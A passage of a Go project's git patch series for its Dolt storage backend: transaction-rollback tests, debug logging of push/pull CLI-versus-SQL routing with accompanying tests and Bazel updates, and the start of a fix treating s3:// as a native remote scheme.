issueops/create.go)", createErr) + } + if !errors.Is(createErr, context.Canceled) { + t.Fatalf("error = %v, want it to wrap context.Canceled", createErr) + } + if !faultyTx.injected { + t.Fatal("fault injector never fired (eventInsertCount never reached 2) — test setup is broken and proves nothing") + } + + // The rollback half of what DoltStore.commitWriteTx does on any callback + // error: unconditionally roll back (errors.Join(err, tx.Rollback()), + // reached via withWriteTx). The transaction scopes this hand-rolled tx + // does not install are named in the doc comment above. + if err := realTx.Rollback(); err != nil { + t.Fatalf("rollback: %v", err) + } + + // The claim under test: does the issue, or its first label (inserted + // successfully before the second event insert failed), leak through + // despite the rollback? + var issueCount int + if err := store.db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues WHERE id = ?", issueID).Scan(&issueCount); err != nil { + t.Fatalf("post-rollback issue count: %v", err) + } + if issueCount != 0 { + t.Fatalf("issue %s persisted despite mid-transaction label-event failure and rollback: found %d rows (this would confirm ga-xcq1ph as a real data-loss bug)", issueID, issueCount) + } + var labelCount int + if err := store.db.QueryRowContext(ctx, "SELECT COUNT(*) FROM labels WHERE issue_id = ?", issueID).Scan(&labelCount); err != nil { + t.Fatalf("post-rollback label count: %v", err) + } + if labelCount != 0 { + t.Fatalf("label rows for %s persisted despite rollback: found %d rows", issueID, labelCount) + } + var eventCount int + if err := store.db.QueryRowContext(ctx, "SELECT COUNT(*) FROM events WHERE issue_id = ?", issueID).Scan(&eventCount); err != nil { + t.Fatalf("post-rollback event count: %v", err) + } + if eventCount != 0 { + t.Fatalf("event rows for %s persisted despite rollback: found %d rows", issueID, eventCount) + } +} + +// cancelOnSecondEventInsertTx wraps a real *sql.Tx and, right as the second +// "INSERT INTO events" statement is about to run (the first label's "Added +// label" event — see the statement-ordering note on failOnSecondEventInsertTx +// above), cancels the transaction's OWN context instead of faking an error. +// The call is then let through with that now-canceled context, so it fails +// the same way a real canceled request would. +type cancelOnSecondEventInsertTx struct { + *sql.Tx + cancel context.CancelFunc + eventInsertCount int +} + +func (c *cancelOnSecondEventInsertTx) ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error) { + if strings.Contains(query, "INSERT INTO events") { + c.eventInsertCount++ + if c.eventInsertCount == 2 { + c.cancel() + } + } + return c.Tx.ExecContext(ctx, query, args...) +} + +// TestCreateIssueRollsBackFullyOnContextCancelMidTransaction closes the gap +// the PR #5989 review (bee-ghosttrack, 2026-09-03) identified in +// TestCreateIssueRollsBackFullyOnLabelEventFailure above: that test's +// injected context.Canceled never reaches the real transaction, so the +// transaction stays alive throughout and is rolled back manually, once, by +// the test itself — it can't reach the state where partial persistence +// would actually be conceivable. +// +// That state is: database/sql's own background awaitDone goroutine (spawned +// by BeginTx whenever it's given a cancelable context) notices the context +// is done and tears the transaction down on its own, racing ahead of +// anything the caller does next. The original production report's error +// text — "...context canceled / transaction has already been committed or +// rolled back" — is two different errors from two different sources: the +// failing ExecContext call (context.Canceled), and a *later* tx.Rollback() +// call — the errors.Join(err, tx.Rollback()) cleanup in commitWriteTx, +// reached via withWriteTx — returning sql.ErrTxDone because the background +// goroutine had, by then, already won the race and rolled back for real. +// +// This test reproduces that: it cancels a real, BeginTx-scoped context +// mid-transaction (not a fabricated per-call error), confirms sql.ErrTxDone +// on the follow-up Rollback() exactly as reported, and then re-queries on +// store.db — a fresh connection from the pool, never the now-dead tx — to +// prove this state, too, still rolls back cleanly with no partial +// persistence. +func TestCreateIssueRollsBackFullyOnContextCancelMidTransaction(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + + parent, parentCancel := testContext(t) + defer parentCancel() + ctx, cancel := context.WithCancel(parent) + defer cancel() // no-op if already canceled below + + const issueID = "create-rollback-ctx-cancel" + issue := &types.Issue{ + ID: issueID, + Title: "phantom create under real mid-transaction context cancel", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Labels: []string{"label-one", "label-two"}, + } + + realTx, err := store.db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin tx: %v", err) + } + // Safety net for any early t.Fatal below (e.g. a future change to this + // test, or an environment where the injector never fires): without this, + // an unreached tx sits open against the shared test DB until this + // process exits, which can stall store.Close() during cleanup. A + // same-goroutine Rollback() after the transaction is already done (the + // success path below calls it explicitly) is a harmless no-op returning + // sql.ErrTxDone. + defer func() { _ = realTx.Rollback() }() + + cancelingTx := &cancelOnSecondEventInsertTx{Tx: realTx, cancel: cancel} + + bc, err := issueops.NewBatchContext(ctx, cancelingTx, storage.BatchCreateOptions{CreateOnly: true, SkipPrefixValidation: true}) + if err != nil { + t.Fatalf("new batch context: %v", err) + } + + _, createErr := issueops.CreateIssueInTxWithResult(ctx, cancelingTx, bc, issue, "tester") + if createErr == nil { + t.Fatal("expected CreateIssueInTxWithResult to fail when its context is canceled mid-transaction, got nil error") + } + if !errors.Is(createErr, context.Canceled) { + t.Fatalf("error = %v, want it to wrap context.Canceled", createErr) + } + if cancelingTx.eventInsertCount < 2 { + t.Fatalf("cancel trigger never fired (eventInsertCount = %d) — test setup is broken and proves nothing", cancelingTx.eventInsertCount) + } + + // Wait for database/sql's background awaitDone goroutine to actually + // finish tearing the transaction down. It races cancel() above against + // this goroutine, so there is no synchronous signal for "done" — poll a + // read-only statement on the SAME tx, with a context that is NOT + // canceled (so this specifically probes the tx's own done flag, not the + // argument-context check), until it reports sql.ErrTxDone. + deadline := time.Now().Add(3 * time.Second) + var probeErr error + for time.Now().Before(deadline) { + var discard int + probeErr = realTx.QueryRowContext(context.Background(), "SELECT 1").Scan(&discard) + if errors.Is(probeErr, sql.ErrTxDone) { + break + } + time.Sleep(2 * time.Millisecond) + } + if !errors.Is(probeErr, sql.ErrTxDone) { + t.Fatalf("timed out waiting for database/sql to tear down the tx after context cancel; last probe error: %v", probeErr) + } + + // The same rollback half commitWriteTx's errors.Join(err, tx.Rollback()) + // performs on a callback error, reached via withWriteTx — and, matching + // the original production report verbatim, it returns sql.ErrTxDone here + // because the background rollback just confirmed above already beat it to + // the punch. As in test 1 this hand-rolled tx installs none of + // commitWriteTx's three transaction scopes; driving the real wrapper is + // deliberately out of scope here, because the behavior under test is + // database/sql tearing the transaction down independently of any wrapper. + rollbackErr := realTx.Rollback() + if !errors.Is(rollbackErr, sql.ErrTxDone) { + t.Fatalf("rollback error = %v, want sql.ErrTxDone (database/sql had already rolled back on its own after the context was canceled)", rollbackErr) + } + joined := errors.Join(createErr, rollbackErr) + if !strings.Contains(joined.Error(), "transaction has already been committed or rolled back") { + t.Fatalf("joined error = %q, want it to reproduce the original report's exact second half", joined.Error()) + } + + // The claim under test: does the issue, or its first label (inserted + // successfully before the second event insert triggered the cancel), + // leak through despite database/sql's own rollback? Query on store.db — + // a fresh connection from the pool, never the now-dead realTx — so this + // can't accidentally pass by reading stale state off a broken tx. + verifyCtx := context.Background() + var issueCount int + if err := store.db.QueryRowContext(verifyCtx, "SELECT COUNT(*) FROM issues WHERE id = ?", issueID).Scan(&issueCount); err != nil { + t.Fatalf("post-rollback issue count: %v", err) + } + if issueCount != 0 { + t.Fatalf("issue %s persisted despite mid-transaction context cancel: found %d rows (this would confirm ga-xcq1ph as a real data-loss bug)", issueID, issueCount) + } + var labelCount int + if err := store.db.QueryRowContext(verifyCtx, "SELECT COUNT(*) FROM labels WHERE issue_id = ?", issueID).Scan(&labelCount); err != nil { + t.Fatalf("post-rollback label count: %v", err) + } + if labelCount != 0 { + t.Fatalf("label rows for %s persisted despite context-cancel rollback: found %d rows", issueID, labelCount) + } + var eventCount int + if err := store.db.QueryRowContext(verifyCtx, "SELECT COUNT(*) FROM events WHERE issue_id = ?", issueID).Scan(&eventCount); err != nil { + t.Fatalf("post-rollback event count: %v", err) + } + if eventCount != 0 { + t.Fatalf("event rows for %s persisted despite context-cancel rollback: found %d rows", issueID, eventCount) + } +} From ba1e5422994d573e280840ef72b52768d33ffa33 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Tue, 29 Sep 2026 06:27:10 -0700 Subject: [PATCH 233/624] test(dolt): make git-protocol CLI/SQL routing and Pull's silent-staleness failure mode observable (#5955) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(dolt): red — Make git-protocol CLI/SQL routing and Pull's silent-staleness failure mode observable (refs be-9i0yq.2) Adds TestPushPullLogSQLRouteForFileRemote and TestPushPullLogCLIRouteForGitProtocolRemote, asserting Push/Pull log which route (CLI vs SQL) they took. Neither asserted log substring exists anywhere in store.go today (confirmed via grep) and pushToRemote/pullTransportReporting currently make zero log calls, so these assertions would fail under current code. Live RED verification (running the suite and observing an actual failure) is blocked in this sandbox: the Dolt SQL server is unavailable due to a known, already-escalated Docker/containerd content-store corruption issue (mayor escalation gm-wisp-aa7x7w), so skipIfNoDolt(t) skips both tests before reaching their assertions rather than failing them. Substituted: static compile and vet checks both clean, plus a manual trace confirming zero existing route-logging output for these functions. * feat(dolt): green — log push/pull CLI-vs-SQL route decisions (refs be-9i0yq.2) pushToRemote and pullTransportReporting each pick between a dolt CLI subprocess and an in-process SQL call across several routing gates (git-protocol, credentials, cloud-auth, local-remote for push), but which route a given call actually took was only recoverable by reading source. Add logRouteDecision, called at each CLI return point and once for the shared SQL fallback in both functions, so `dolt push route: CLI|SQL (remote=...)` and the pull equivalent are always in the log. Verified via `go build`/`go vet` (clean) and a scratch unit test asserting logRouteDecision's exact output against all four RED-test substring checks (deleted before commit, not part of this changeset). Live RED/GREEN execution of route_logging_test.go itself still SKIPs in this sandbox (Dolt SQL server unavailable via Docker), so the hard gate is substituted per the same transparency already recorded on the RED step: build+vet clean, scratch-verified helper output, and a full internal/storage/dolt regression run showing zero new failures beyond the known pre-existing TestWispSeesCustomTypeRegisteredInTransaction port-conflict. # guard-ack:bd-build-migrates-store * test(dolt): fix CLI-route logging test's self-skip construction defect (refs be-9i0yq.2, review be-j7eon) TestPushPullLogCLIRouteForGitProtocolRemote used plain New(), which in this harness resolves to a client of the shared containerized test server (testmain_test.go) rather than a store with its own local .dolt directory. CLIDir() and hasCLIDatabase() were therefore always empty/false, so the test always hit its own skip branch and never exercised CLI routing at all. Move it into a new integration-tagged file and give it its own local dolt sql-server via startLocalDoltServer, the same arrangement TestGitRemoteEmbeddedPushPull uses, so the store has a real on-disk CLI-accessible database. Confirmed the test now runs (not skips) and passes, asserting the CLI-route log lines it always meant to check. TestPushPullLogSQLRouteForFileRemote is untouched and keeps its original build classification (no integration tag) since it works correctly as-is against the shared test server. * chore: release gate PASS for be-j4oer (git-protocol route logging + pull-staleness observability) Review: be-5u36o (PASS). Deploy bead: be-j4oer. * fix(dolt): route the push/pull route line through the gated debug sink logRouteDecision used log.Printf, which is unconditional stderr with the stdlib timestamp prefix. Unlike the three other log.Printf calls in this file -- all warnings on exceptional paths -- this one fires on every push and every pull, so it would have put a line in front of every user on every operation, including under --quiet. debug.Logf is the gated sink for exactly this and was already imported; under BD_DEBUG or -v the line stays as discoverable as it was. Note debug.Logf does not append a newline, so the format string carries one. Both route-logging tests captured the process-global log writer to observe it. They now use a shared captureRouteLog helper that enables the debug sink and captures os.Stderr, which also removes the log.SetOutput mutation the review flagged as a hazard next to this package's seven t.Parallel files. The helper and both call sites carry an explicit must-not-become-parallel note, since it still touches two process globals (os.Stderr and debug's verbose flag). The t.Fatalf calls moved out of the captured closure: t.Fatalf runs Goexit, which would have skipped the os.Stderr restore and left the pipe installed. Red/green against a live dolt-sql-server: with log.Printf restored the SQL route test FAILs with an empty capture, because the log package holds the os.Stderr it captured at init and never sees the swap; with debug.Logf it PASSes in 5.13s. The test therefore gates the sink rather than passing either way. (refs be-j4oer) * chore: remove leaked internal release-gate doc from PR branch release-gates/be-j4oer-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 * chore(bazel): enumerate route_logging_test.go + //internal/debug dep (make bazel-sync) Generated by `make bazel-sync` (bazel run //:gazelle) at the adopted head. Base landed internal/storage/dolt/BUILD.bazel and the advisory Bazel lane (.github/workflows/bazel.yml, #6881) after this PR was written, so the PR adds an untagged test file to a package whose go_test srcs are an exhaustive enumeration (207 enumerated == 207 untagged on disk at base; the 15 unlisted files are all //go:build integration). Without this, `bazel test` fake-greens ("Executed 1 out of 1 test: 1 test passes" while test.log says "no tests to run") and two steps of the Bazel workflow red: the Go-test-equivalence check (a test go test runs that Bazel did not) and the BUILD-files-in-sync check. route_logging_integration_test.go is correctly left unenumerated: it carries //go:build integration, matching base parity for all 15 such files. * review(dolt): scope the route-log doc comment and harden captureRouteLog cleanup Maintainer review fixups for PR #5955 (iteration 1). Both are non-gating minor/nit items from the review synthesis; no blocker or major was filed. logRouteDecision's doc comment claimed "This fires on every push and every pull". It does not: the federation peer plane makes the same CLI-vs-SQL decision at six sites in federation.go (pushRefToPeer :43,:51, pullFromPeer :108,:119, Fetch :174,:183) and logs nothing, so a debugger following the new lines could read peer silence as "no peer transfer happened". Scope the comment to the main-remote plane and name the uninstrumented sibling. Instrumenting the peer plane itself is deliberately left as a follow-up rather than widening this PR's blast radius. The same comment said "three remaining log.Printf calls in this file"; there are five (store.go:1333, 3824, 4178, 4237, 4727), all still exceptional-path warnings, so the argument holds and only the count was wrong. Dropped the numeral rather than correcting it, since it rots on every unrelated edit. captureRouteLog restored the process-global os.Stderr inline after fn() returned. A future fn that panics or reaches t.Fatalf (runtime.Goexit) would skip that restore and leave os.Stderr pointed at a pipe nobody drains, silently swallowing every later test's output in the package. Register the restore via t.Cleanup as well, keeping the inline drain for the happy path. Comment-only in store.go; no behaviour change and no signature change, so BUILD.bazel needs no regeneration. Verified: gofmt clean, go build and go vet clean under both the untagged and integration tag sets, and go test -tags integration -run TestPushPullLog ./internal/storage/dolt/ gives 2 RUN / 2 PASS / 0 FAIL / 0 SKIP. Co-Authored-By: Claude Opus 5 * chore(bazel): enumerate route_logging_integration_test.go for the merge-target gazelle convention The base advance since this PR was adopted changed the root BUILD.bazel gazelle directive from # gazelle:build_tags gms_pure_go to # gazelle:build_tags gms_pure_go,integration (the bazel integration-tag lane work, #6916 and siblings). Under the old directive gazelle deliberately omitted //go:build integration files from go_test srcs -- at the adopted base internal/storage/dolt enumerated 207 of 222 on-disk test files, the 15 omissions all integration-tagged -- which is why the earlier bazel fixup (c79777b) correctly listed only route_logging_test.go and why a134bf45's "BUILD.bazel needs no regeneration" was true when written. Both remain true at that base; this commit is a consequence of the base moving, not a correction of either. At the merge target the convention is inverted: internal/storage/dolt enumerates 226 of 226 on-disk test files including all 16 integration-tagged ones, and `make bazel-sync` on origin/main alone rewrites nothing. Merging this PR as-is therefore leaves route_logging_integration_test.go as the only unenumerated test file in the package. Measured on the merged tree (merge-tree of origin/main e1b2e79 with the adopted head, materialized in a scratch worktree), running bazel.yml's "BUILD files in sync" step verbatim -- `make bazel-sync-check`, `make bazel-sync`, `git status --porcelain --untracked-files=all` -- yields exactly one drift row, `M internal/storage/dolt/BUILD.bazel`, whose diff is the single line added here. That step exits 1 on any drift, and pr.yml's ci-gate lists BAZEL, BAZEL_TEST, BAZEL_PURE, BAZEL_EMBEDDED, BAZEL_DOLTSERVER, BAZEL_PROXIED and BAZEL_SERVER_STORAGE in CI_GATE_REQUIRED, so the drift would fail a required context rather than an advisory lane (scripts' TestBazelWorkflowIsAdvisory no longer exists at the merge target). The added line is byte-identical to gazelle's own output at the merge target, in gazelle's sort position. No Go source, no build tag and no dependency changed, so the go_test deps list is untouched. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- internal/storage/dolt/BUILD.bazel | 3 + .../dolt/route_logging_integration_test.go | 99 +++++++++++++ internal/storage/dolt/route_logging_test.go | 137 ++++++++++++++++++ internal/storage/dolt/store.go | 32 ++++ 4 files changed, 271 insertions(+) create mode 100644 internal/storage/dolt/route_logging_integration_test.go create mode 100644 internal/storage/dolt/route_logging_test.go diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 6c7bd6b38..c57f49d5b 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -304,6 +304,8 @@ go_test( "retry_test.go", "role_fixture_kit_test.go", "role_test_helpers_test.go", + "route_logging_integration_test.go", + "route_logging_test.go", "row_version_test.go", "schema_cli_parity_integration_test.go", "schema_cli_parity_test.go", @@ -371,6 +373,7 @@ go_test( "//backend/conformance", "//internal/config", "//internal/configfile", + "//internal/debug", "//internal/doltserver", "//internal/githooksenv", "//internal/storage", diff --git a/internal/storage/dolt/route_logging_integration_test.go b/internal/storage/dolt/route_logging_integration_test.go new file mode 100644 index 000000000..4b4da5cc5 --- /dev/null +++ b/internal/storage/dolt/route_logging_integration_test.go @@ -0,0 +1,99 @@ +//go:build integration + +package dolt + +import ( + "context" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/testutil" +) + +// TestPushPullLogCLIRouteForGitProtocolRemote is the RED companion for the +// other side of be-9i0yq.2 item 2: a git-protocol-scheme remote must make +// Push/Pull log the CLI route, distinguishable from the file:// SQL route +// proven by TestPushPullLogSQLRouteForFileRemote (route_logging_test.go). +// +// This test needs a store with its own local, CLI-accessible .dolt +// directory. Plain New() with no ServerHost/ServerPort resolves to a client +// of the suite's shared test server (testmain_test.go), which runs inside a +// Docker container mounting only its own /var/lib/dolt volume — so that +// store's CLIDir() is "" and hasCLIDatabase() is false, and CLI routing can +// never be constructed there (be-9i0yq.2 review, round 1: the test always +// self-skipped). startLocalDoltServer (git_remote_test.go) instead gives +// this store its own on-disk database on this process's filesystem, the +// same arrangement TestGitRemoteEmbeddedPushPull uses. +// +// The remote points at a local path that does not exist. git+file:// keeps +// the whole exchange on the local filesystem, so the dolt subprocess fails +// fast instead of risking a DNS/network hang -- appropriate here because this +// test is about the route DECISION, which is logged before the subprocess +// ever runs, not about a successful transfer. Push/Pull are expected to +// return an error; only the log line is under test. +func TestPushPullLogCLIRouteForGitProtocolRemote(t *testing.T) { + testutil.RequireDoltBinary(t) + acquireTestSlot() + t.Cleanup(releaseTestSlot) + + doltDir := t.TempDir() + serverPort, stopServer := startLocalDoltServer(t, doltDir) + defer stopServer() + + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) + defer cancel() + + dbName := uniqueTestDBName(t) + store, err := New(ctx, &Config{ + Path: doltDir, + ServerHost: "127.0.0.1", + ServerPort: serverPort, + ServerUser: "root", + AutoStart: false, + CommitterName: "test", + CommitterEmail: "test@example.com", + Database: dbName, + CreateIfMissing: true, + }) + if err != nil { + t.Fatalf("New: %v", err) + } + defer store.Close() + + if store.CLIDir() == "" || !store.hasCLIDatabase() { + t.Fatalf("local-server store should have its own CLI-accessible database; CLIDir=%q hasCLIDatabase=%v", store.CLIDir(), store.hasCLIDatabase()) + } + + remoteURL := "git+file://" + filepath.Join(doltDir, "nonexistent-git-remote") + if _, err := store.db.ExecContext(ctx, "CALL DOLT_REMOTE('add', 'origin', ?)", remoteURL); err != nil { + t.Fatalf("add remote: %v", err) + } + store.remote = "origin" + store.branch = "main" + + // captureRouteLog (route_logging_test.go) swaps os.Stderr and debug's + // verbose flag, both process-global: this test must never gain t.Parallel. + var pushErr, pullErr error + logged := captureRouteLog(t, func() { + pushErr = store.Push(ctx) + pullErr = store.Pull(ctx) + }) + if pushErr == nil { + t.Fatalf("Push against a nonexistent git+file:// target should fail (route logging is under test, not transfer success)") + } + if pullErr == nil { + t.Fatalf("Pull against a nonexistent git+file:// target should fail (route logging is under test, not transfer success)") + } + + if !strings.Contains(logged, "dolt push route: CLI") { + t.Fatalf("Push over a git+file:// (git-protocol) remote did not log taking the CLI route; got log:\n%s", logged) + } + if !strings.Contains(logged, "dolt pull route: CLI") { + t.Fatalf("Pull over a git+file:// (git-protocol) remote did not log taking the CLI route; got log:\n%s", logged) + } + if strings.Contains(logged, "route: SQL") { + t.Fatalf("a git-protocol remote should never take the SQL route, but the log claims it did:\n%s", logged) + } +} diff --git a/internal/storage/dolt/route_logging_test.go b/internal/storage/dolt/route_logging_test.go new file mode 100644 index 000000000..24a0dba4f --- /dev/null +++ b/internal/storage/dolt/route_logging_test.go @@ -0,0 +1,137 @@ +package dolt + +import ( + "bytes" + "context" + "io" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/debug" +) + +// captureRouteLog runs fn with the debug sink enabled and returns what it +// wrote to stderr. logRouteDecision reports through debug.Logf, which is gated +// on BD_DEBUG/-v and writes straight to os.Stderr, so both halves are needed. +// +// MUST NOT be used from a parallel test, and no test that calls it may add +// t.Parallel: it swaps os.Stderr and flips debug's verbose flag, both of which +// are process-global. Seven files in this package already call t.Parallel, so +// this is a live hazard rather than a theoretical one. +func captureRouteLog(t *testing.T, fn func()) string { + t.Helper() + + debug.SetVerbose(true) + t.Cleanup(func() { debug.SetVerbose(false) }) + + origStderr := os.Stderr + r, w, err := os.Pipe() + if err != nil { + t.Fatalf("os.Pipe: %v", err) + } + os.Stderr = w + // Also restore from Cleanup, not just inline below: if a future fn panics + // or reaches t.Fatalf (runtime.Goexit), the inline restore never runs and + // os.Stderr stays pointed at a pipe nobody drains, silently swallowing + // every later test's output in this package. + t.Cleanup(func() { + os.Stderr = origStderr + _ = w.Close() + _ = r.Close() + }) + + fn() + + _ = w.Close() + os.Stderr = origStderr + + var buf bytes.Buffer + if _, err := io.Copy(&buf, r); err != nil { + t.Fatalf("reading captured stderr: %v", err) + } + _ = r.Close() + return buf.String() +} + +// TestPushPullLogSQLRouteForFileRemote is part of the RED coverage for +// be-9i0yq.2 item 2: prepareCLIRouteForGitProtocol and its siblings +// (store.go ~3554-3609) decide CLI-vs-SQL routing silently -- nothing in the +// push/pull path says which one ran. A file:// remote is not git protocol, +// so both Push and Pull take the SQL route (see the "Local file:// pulls +// intentionally stay on the SQL path" comment on pullTransportReporting): +// that route decision must be discoverable from the log for a real +// Push/Pull call, without reading source to find out. +func TestPushPullLogSQLRouteForFileRemote(t *testing.T) { + skipIfNoDolt(t) + + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) + defer cancel() + + tmpDir := t.TempDir() + dbName := uniqueTestDBName(t) + + store, err := New(ctx, &Config{ + Path: tmpDir, + CommitterName: "test", + CommitterEmail: "test@example.com", + Database: dbName, + CreateIfMissing: true, + }) + if err != nil { + t.Fatalf("New: %v", err) + } + defer store.Close() + + if _, err := store.db.ExecContext(ctx, "CREATE TABLE route_log_marker (id INT PRIMARY KEY)"); err != nil { + t.Fatalf("create marker table: %v", err) + } + if _, err := store.db.ExecContext(ctx, "CALL DOLT_ADD('-A')"); err != nil { + t.Fatalf("stage: %v", err) + } + if _, err := store.db.ExecContext(ctx, "CALL DOLT_COMMIT('-m', 'test: route log marker')"); err != nil { + t.Fatalf("commit: %v", err) + } + + remoteURL := "file://" + filepath.Join(tmpDir, "route-log-remote") + if _, err := store.db.ExecContext(ctx, "CALL DOLT_REMOTE('add', 'origin', ?)", remoteURL); err != nil { + t.Fatalf("add remote: %v", err) + } + store.remote = "origin" + store.branch = "main" + + var pushErr, pullErr error + logged := captureRouteLog(t, func() { + pushErr = store.Push(ctx) + if pushErr != nil { + return + } + pullErr = store.Pull(ctx) + }) + if pushErr != nil { + t.Fatalf("Push over a file:// remote should succeed via the SQL route: %v", pushErr) + } + if pullErr != nil { + t.Fatalf("Pull over a file:// remote should succeed via the SQL route: %v", pullErr) + } + + if !strings.Contains(logged, "dolt push route: SQL") { + t.Fatalf("Push over a file:// (non-git-protocol) remote did not log taking the SQL route; got log:\n%s", logged) + } + if !strings.Contains(logged, "dolt pull route: SQL") { + t.Fatalf("Pull over a file:// (non-git-protocol) remote did not log taking the SQL route; got log:\n%s", logged) + } + if strings.Contains(logged, "route: CLI") { + t.Fatalf("a file:// remote should never take the CLI route, but the log claims it did:\n%s", logged) + } +} + +// TestPushPullLogCLIRouteForGitProtocolRemote, the RED companion for the +// other side of item 2, lives in route_logging_integration_test.go (build +// tag "integration"): a git-protocol remote needs a store with its own local +// CLI-accessible .dolt directory, which the plain New() this file uses +// cannot construct (it resolves to a client of the suite's shared, +// containerized test server instead). See that file for the full test and +// why it needs startLocalDoltServer. diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 581b2a16d..fd3cfb8e7 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -4427,6 +4427,29 @@ func (s *DoltStore) PushRemote(ctx context.Context, remote string, force bool) e return s.pushToRemote(ctx, remote, force) } +// logRouteDecision records which transport a push/pull operation used -- +// CLI subprocess or in-process SQL -- so the route taken is discoverable +// without reading source (be-9i0yq.2 item 2). op is "push" or "pull". +// +// Scope: main-remote transports only. The federation peer plane in +// federation.go (pushRefToPeer, pullFromPeer, Fetch) makes the same +// CLI-vs-SQL decision and is not instrumented, so silence here does not mean +// no peer transfer happened. +// +// This fires on every push and every pull on that plane, so it goes to the +// gated debug sink rather than log.Printf: the latter is unconditional stderr +// with a timestamp prefix and would put a line in front of every user on every +// operation, including under --quiet. The remaining log.Printf calls in this +// file are warnings on exceptional paths, which is a different contract. Under +// BD_DEBUG or -v the line is exactly as discoverable as before. +func logRouteDecision(op, remote string, cli bool) { + route := "SQL" + if cli { + route = "CLI" + } + debug.Logf("dolt %s route: %s (remote=%q)\n", op, route, remote) +} + // pushToRemote is the internal implementation for all push operations. // It routes through CLI or SQL based on the remote's protocol and credentials. func (s *DoltStore) pushToRemote(ctx context.Context, remote string, force bool) (retErr error) { @@ -4451,6 +4474,7 @@ func (s *DoltStore) pushToRemote(ctx context.Context, remote string, force bool) if useCLI, err := s.prepareCLIRouteForGitProtocol(ctx, remote); err != nil { return err } else if useCLI { + logRouteDecision("push", remote, true) return s.doltCLIPush(ctx, remote, force, creds) } // Credential CLI routing: when credentials are set and server is external, @@ -4460,6 +4484,7 @@ func (s *DoltStore) pushToRemote(ctx context.Context, remote string, force bool) if useCLI, err := s.prepareCLIRouteForCredentials(ctx, remote, creds); err != nil { return err } else if useCLI { + logRouteDecision("push", remote, true) return s.doltCLIPush(ctx, remote, force, creds) } // Cloud auth CLI routing: when cloud storage env vars (AZURE_*, AWS_*, @@ -4469,13 +4494,16 @@ func (s *DoltStore) pushToRemote(ctx context.Context, remote string, force bool) if useCLI, err := s.prepareCLIRouteForCloudAuth(ctx, remote); err != nil { return err } else if useCLI { + logRouteDecision("push", remote, true) return s.doltCLIPush(ctx, remote, force, creds) } if useCLI, err := s.shouldUseCLIForLocalRemoteWithError(ctx, remote); err != nil { return err } else if useCLI { + logRouteDecision("push", remote, true) return s.doltCLIPush(ctx, remote, force, creds) } + logRouteDecision("push", remote, false) if s.remoteUser != "" && remote == s.remote { return withRemoteOperationEnv(creds, s.isS3Remote(ctx, remote), func() error { if force { @@ -4813,6 +4841,7 @@ func (s *DoltStore) pullTransportReporting(ctx context.Context, remote string) ( if useCLI, err := s.prepareCLIRouteForGitProtocol(ctx, remote); err != nil { return pullReport{}, err } else if useCLI { + logRouteDecision("pull", remote, true) // CLI pull leaves any conflicts in the working set; run the auto-resolver so // git-protocol remotes get the same audit-only dependency / metadata repair // as the SQL DOLT_PULL path (#4259). @@ -4823,17 +4852,20 @@ func (s *DoltStore) pullTransportReporting(ctx context.Context, remote string) ( if useCLI, err := s.prepareCLIRouteForCredentials(ctx, remote, creds); err != nil { return pullReport{}, err } else if useCLI { + logRouteDecision("pull", remote, true) return pullReport{}, s.finishCLIPull(ctx, s.doltCLIPull(ctx, remote, creds)) } // Cloud auth CLI routing (GH#6), including post-pull auto-resolution. if useCLI, err := s.prepareCLIRouteForCloudAuth(ctx, remote); err != nil { return pullReport{}, err } else if useCLI { + logRouteDecision("pull", remote, true) return pullReport{}, s.finishCLIPull(ctx, s.doltCLIPull(ctx, remote, creds)) } // Local file:// pulls intentionally stay on the SQL path. The matching CLI // guard is a push-only optimization; SQL pull keeps pullWithAutoResolve in // charge of metadata-only conflict repair. + logRouteDecision("pull", remote, false) var report pullReport if s.remoteUser != "" && remote == s.remote { err := withRemoteOperationEnv(creds, s.isS3Remote(ctx, remote), func() error { From 89348699b0376d776988719e6f19ed1a92d00b94 Mon Sep 17 00:00:00 2001 From: Jones <10099452+jonesmabea@users.noreply.github.com> Date: Tue, 29 Sep 2026 15:28:57 +0200 Subject: [PATCH 234/624] fix(doltremote): treat s3:// as a native Dolt remote scheme (#5948) * fix(doltremote): treat s3:// as a native Dolt remote scheme s3:// URLs previously survived Normalize only by falling through, and the SCP heuristic treated any "@" in a URL as an SCP-style git remote, so an s3 URL with "@" in its path or query string would be rewritten into a bogus git+ssh remote. Add s3:// to NativeSchemes and anchor SCP detection to inputs without a "://" scheme that match a user@host:path grammar. * test(doltremote): pin the s3:// entry and the dotless host:pa@th case Follow-up to the #5948 review. Deleting "s3://" from NativeSchemes made no test fail, so TestNativeSchemesContainsEachNativeScheme now asserts every entry the list holds; removing the s3:// line fails its s3:// subtest. The base change also flipped a fourth behavior its description did not list: a dotless pre-colon token whose only "@" sits after the colon ("host:pa@th", "alias:repo@v1") used to classify as SCP-style on the bare strings.Contains(url, "@") check and normalize to git+ssh://host/pa@th. It now classifies false and passes through Normalize unchanged. Both inputs are pinned as rows in TestIsSCPStyleGitURLRejectsNonSCPInputs; against origin/main's remote.go they fail. Normalize's doc comment now lists s3:// with the other native schemes. * build(bazel): add go_test target for internal/doltremote The PR adds remote_test.go and remote_invariant_test.go to a package whose BUILD.bazel (added on main by 